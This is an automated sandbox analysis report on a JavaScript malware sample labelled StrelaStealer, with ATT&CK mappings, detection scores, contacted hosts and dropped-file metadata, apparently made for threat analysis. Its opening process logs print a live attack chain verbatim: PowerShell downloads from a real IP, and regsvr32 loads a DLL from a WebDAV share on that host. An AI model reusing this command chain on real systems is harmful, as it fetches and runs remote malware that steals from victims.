Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3141714165326508962.js	8%	Virustotal		Browse
3141714165326508962.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/S	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.2190435604.000002C6500D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2191115737.000001B543420000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3411226014.000001B54360F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2190435604.000002C6500D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/S	net.exe, 00000007.00000002.2190514419.000002C650114000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2185756828.000002C650114000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588515
Start date and time:	2025-01-11 01:57:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3141714165326508962.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 54.224.241.105, 34.237.241.83, 50.16.47.176, 18.213.11.84, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 2.22.242.123, 2.22.242.11, 88.221.110.91, 2.16.100.168, 23.200.0.177, 23.200.0.173, 23.200.0.206, 23.200.0.209, 23.200.0.176, 13.107.246.45, 4.175.87.197, 23.206.252.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:58:48	API Interceptor	23x Sleep call for process: powershell.exe modified
19:58:52	API Interceptor	1x Sleep call for process: net.exe modified
19:58:52	API Interceptor	2x Sleep call for process: svchost.exe modified
19:59:00	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	9742962732217849.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5949401323954377.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7262746333393181
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0m:9JZj5MiKNnNhoxuL
MD5:	682EBFAB0026B1CAA0629C725C1CFEAC
SHA1:	BAB7CAA80AA970BC95EF8187E62BCC7130BCF504
SHA-256:	2F363EF826A412020ED39652BE29BEDD45F6F0CF89A003379D34FCEBECAC5035
SHA-512:	A4FEA94216B0AB8D4DF3A562BCF5D4B83DF9590D7708A4D3F9A5500BF07E84DBCFEC53DB8FA01354D5CA96A2A86B4DAB02FCE52F2313FA84DD3B3D1FC64F34D0
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x071fef76, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7554653854994369
Encrypted:	false
SSDEEP:	1536:9SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:9azaSvGJzYj2UlmOlOL
MD5:	2C9CFF5A6E0FEFA6EACF3C9F6AA5876A
SHA1:	B9235E9B67A471B15E280E168355A141E77DABD9
SHA-256:	043A160586E02587FB58F4930D5773D04A135F6415BADD4EC303905F42DD5E19
SHA-512:	21645DAE2B326AEDFFB49AF5FD6BD352FF948CEFC3A0E6A4FE956C068917F4934E1C1D0270B4199992CEF8E9560E743203C395088213634C1FC0E5419EF23414
Malicious:	false
Preview:	...v... .......7.......X\...;...{......................0.e......!...{?.5:...}G.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................Ys..5:...}G.................h...5:...}G..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07689737220231257
Encrypted:	false
SSDEEP:	3:ZyKYenNrYgEENaAPaU1lNrRknlYlluxmO+l/SNxOf:IKznNMBENDPaUtgmOH
MD5:	CE6606E0F40091113B51349FD572D7E9
SHA1:	1B050B96420419DE30133903E52CA91CBE14E27E
SHA-256:	520191D4EE88F6B7C0A9F217A9DF86B867F5CAFCDF7AEC675EADDB86DF83CF08
SHA-512:	1358F89822162C557DC5E1CDA5C8BEA12FE657410AF98DE43751086FA64DD9740F53742F2F24717B1B5E1F1BC7571067D770BDFDA1B034F0F22A16369550B8D7
Malicious:	false
Preview:	.xe......................................;...{..5:...}G..!...{?..........!...{?..!...{?..g...!...{?.................h...5:...}G.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.208941858787953
Encrypted:	false
SSDEEP:	6:iO4bQX6Iq2PN72nKuAl9OmbnIFUtSbQXmlZmwsbQXm3kwON72nKuAl9OmbjLJ:7+LIvVaHAahFUt0x/ar5OaHAaSJ
MD5:	BC15CC597D761A2F71A370693DA7696D
SHA1:	F37273BF537D2E518B9BFA34DF26CE8D654E42D1
SHA-256:	388311064B0F2D89C740852BB25A399A4D564F31CA29154B82B113673AFAE8B8
SHA-512:	975CC2AC040B4EC7EE55FA6641586B7817B12678305DAC1EEBEAEA29839C0113DFFA126391F64CCB7F9C5178814535C2F2187BA27CF331AF37E68146731480E0
Malicious:	false
Preview:	2025/01/10-19:58:52.662 1970 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:58:52.666 1970 Recovering log #3.2025/01/10-19:58:52.666 1970 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.208941858787953
Encrypted:	false
SSDEEP:	6:iO4bQX6Iq2PN72nKuAl9OmbnIFUtSbQXmlZmwsbQXm3kwON72nKuAl9OmbjLJ:7+LIvVaHAahFUt0x/ar5OaHAaSJ
MD5:	BC15CC597D761A2F71A370693DA7696D
SHA1:	F37273BF537D2E518B9BFA34DF26CE8D654E42D1
SHA-256:	388311064B0F2D89C740852BB25A399A4D564F31CA29154B82B113673AFAE8B8
SHA-512:	975CC2AC040B4EC7EE55FA6641586B7817B12678305DAC1EEBEAEA29839C0113DFFA126391F64CCB7F9C5178814535C2F2187BA27CF331AF37E68146731480E0
Malicious:	false
Preview:	2025/01/10-19:58:52.662 1970 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:58:52.666 1970 Recovering log #3.2025/01/10-19:58:52.666 1970 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.233478284506433
Encrypted:	false
SSDEEP:	6:iO4bQXSeVq2PN72nKuAl9Ombzo2jMGIFUtSbQXSazgZmwsbQXSazIkwON72nKuAv:7+cvVaHAa8uFUt0Ms/aMM5OaHAa8RJ
MD5:	3BC5718A87849A925763B11221FE3D61
SHA1:	0D5D902A75EAF1F3806B4162B3FD8D183B5F9AC5
SHA-256:	FFF41456832E8CCCA2BC0873805893297167D9C45B6EBD4A834561201509E9C5
SHA-512:	64A77F4CA7E54C8EB20A7F5C7475B7EB4A83C09E3BD3B1426B9D8095D2F59F85D1453A8C4D64FE726E01C59D6C18695895FAADE887DCF58387EE175AFAF55B98
Malicious:	false
Preview:	2025/01/10-19:58:52.674 1494 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:58:52.676 1494 Recovering log #3.2025/01/10-19:58:52.676 1494 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.233478284506433
Encrypted:	false
SSDEEP:	6:iO4bQXSeVq2PN72nKuAl9Ombzo2jMGIFUtSbQXSazgZmwsbQXSazIkwON72nKuAv:7+cvVaHAa8uFUt0Ms/aMM5OaHAa8RJ
MD5:	3BC5718A87849A925763B11221FE3D61
SHA1:	0D5D902A75EAF1F3806B4162B3FD8D183B5F9AC5
SHA-256:	FFF41456832E8CCCA2BC0873805893297167D9C45B6EBD4A834561201509E9C5
SHA-512:	64A77F4CA7E54C8EB20A7F5C7475B7EB4A83C09E3BD3B1426B9D8095D2F59F85D1453A8C4D64FE726E01C59D6C18695895FAADE887DCF58387EE175AFAF55B98
Malicious:	false
Preview:	2025/01/10-19:58:52.674 1494 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:58:52.676 1494 Recovering log #3.2025/01/10-19:58:52.676 1494 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2efa9d5d-5dfd-4f50-84a5-90704858acba.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.96242590425116
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqMuxsBdOg2HLcaq3QYiubcP7E4T3y:Y2sRdshuidMHy3QYhbA7nby
MD5:	59D4DB9FE4C49248C2724716F28679FD
SHA1:	031DC95B2F3985E3898AB736D42ABF8A58561900
SHA-256:	6C4268EE45EF6EFDF438BB95E0D429E51BD0C50CF91DE7AFFE2FEE7AEBD844C2
SHA-512:	E1DDA824D06A7AA192F9F6558F2DE6BDABEE59A7161D53856AFBD19D8D2378630C8E6568C29D0FE84B18A2642C6FAB367E63705A8CC71FE64ACB6F2CF9A9D16B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117144233852","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129100},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96242590425116
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqMuxsBdOg2HLcaq3QYiubcP7E4T3y:Y2sRdshuidMHy3QYhbA7nby
MD5:	59D4DB9FE4C49248C2724716F28679FD
SHA1:	031DC95B2F3985E3898AB736D42ABF8A58561900
SHA-256:	6C4268EE45EF6EFDF438BB95E0D429E51BD0C50CF91DE7AFFE2FEE7AEBD844C2
SHA-512:	E1DDA824D06A7AA192F9F6558F2DE6BDABEE59A7161D53856AFBD19D8D2378630C8E6568C29D0FE84B18A2642C6FAB367E63705A8CC71FE64ACB6F2CF9A9D16B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117144233852","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129100},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.25046801526581
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7ShhyM:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzh2
MD5:	62FAE97D8DAA5235AE4A31FB6DD06FCD
SHA1:	6AC126D9BFC9E69A12731DAFBEA4EF26D7CDAC71
SHA-256:	4DD247084A735BF2F624856ED03979A41FE8166B7ED559097FAD2B8EA7A4749D
SHA-512:	A16D3DB8B916509E60F544D3DAF4DC4526D82092D8CAA933023F9AE7A4D1C022B32E7A2082BB2E81D4B1FA323FB1A0A415A46EF5253B4591CC4CEE3558CAE819
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.179562140485495
Encrypted:	false
SSDEEP:	6:iO4bQX7zVq2PN72nKuAl9OmbzNMxIFUtSbQUzzgZmwsbQUXM60IkwON72nKuAl9c:7+yvVaHAa8jFUt0Fzs/aFXM25OaHAa8E
MD5:	4E21B45ED50B8F64A6EA2FD1F4A53C41
SHA1:	1F0400DD1250CF3FA58C9FC392215A4246BC5407
SHA-256:	2C78BE139F1203B6C1D6F0424E19C20B7CF2C725760946D2EC952F1F6FC746B6
SHA-512:	600DCADF7FBA9007F49778DE778A5B5C9E2491C4259607E6967BE160DF93F211B74C3679431F0E78D03833B4C3018FE0A1BE3B2896272EB2FE749D8EF20DE90A
Malicious:	false
Preview:	2025/01/10-19:58:52.997 1494 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:58:53.010 1494 Recovering log #3.2025/01/10-19:58:53.020 1494 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.179562140485495
Encrypted:	false
SSDEEP:	6:iO4bQX7zVq2PN72nKuAl9OmbzNMxIFUtSbQUzzgZmwsbQUXM60IkwON72nKuAl9c:7+yvVaHAa8jFUt0Fzs/aFXM25OaHAa8E
MD5:	4E21B45ED50B8F64A6EA2FD1F4A53C41
SHA1:	1F0400DD1250CF3FA58C9FC392215A4246BC5407
SHA-256:	2C78BE139F1203B6C1D6F0424E19C20B7CF2C725760946D2EC952F1F6FC746B6
SHA-512:	600DCADF7FBA9007F49778DE778A5B5C9E2491C4259607E6967BE160DF93F211B74C3679431F0E78D03833B4C3018FE0A1BE3B2896272EB2FE749D8EF20DE90A
Malicious:	false
Preview:	2025/01/10-19:58:52.997 1494 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:58:53.010 1494 Recovering log #3.2025/01/10-19:58:53.020 1494 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.44466889081538
Encrypted:	false
SSDEEP:	384:ye6ci5t5iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mas3OazzU89UTTgUL
MD5:	FC520AAA475C3BACF4D47208F50623BE
SHA1:	5FC685146628A091E9F4CEAF8A6D70CEF349F09E
SHA-256:	5BA7A2D892986CA0C2303EE13899313E2DEFD57A806FEFDC3AECF3265E218C92
SHA-512:	7D7573BB1D790EA1E01FD9B45FFACFD3C366DD92BD4A3A6196AFD32F8F84C063DA77DB72E50A297BC170843F36955C0550803CD8CBB51426C3940FCC16477F38
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7699142286715905
Encrypted:	false
SSDEEP:	48:7MRJioyV4ioy6oy1C7oy16oy1OKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Oj:72Ju4WxXjBi9b9IVXEBodRBkW
MD5:	32F0FCED53D1DFCC51FF5B6B2A11500D
SHA1:	AF0E596F98E544E4BFF4ED749CAB6E97F90217AC
SHA-256:	471FE4E60F6F42692C8C9694988AE71AF85DB7FA731EE05BCB67DE7A55B51807
SHA-512:	05E4BE02D64A88ECBE85482FCB5DDAD830ACDF63C5D185411CBFF2F85A8D901326ABE6DB342D8CD813E5133D14D039322AC40F3C7243CA0BC79732C04FE68AA9
Malicious:	false
Preview:	.... .c....."q.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
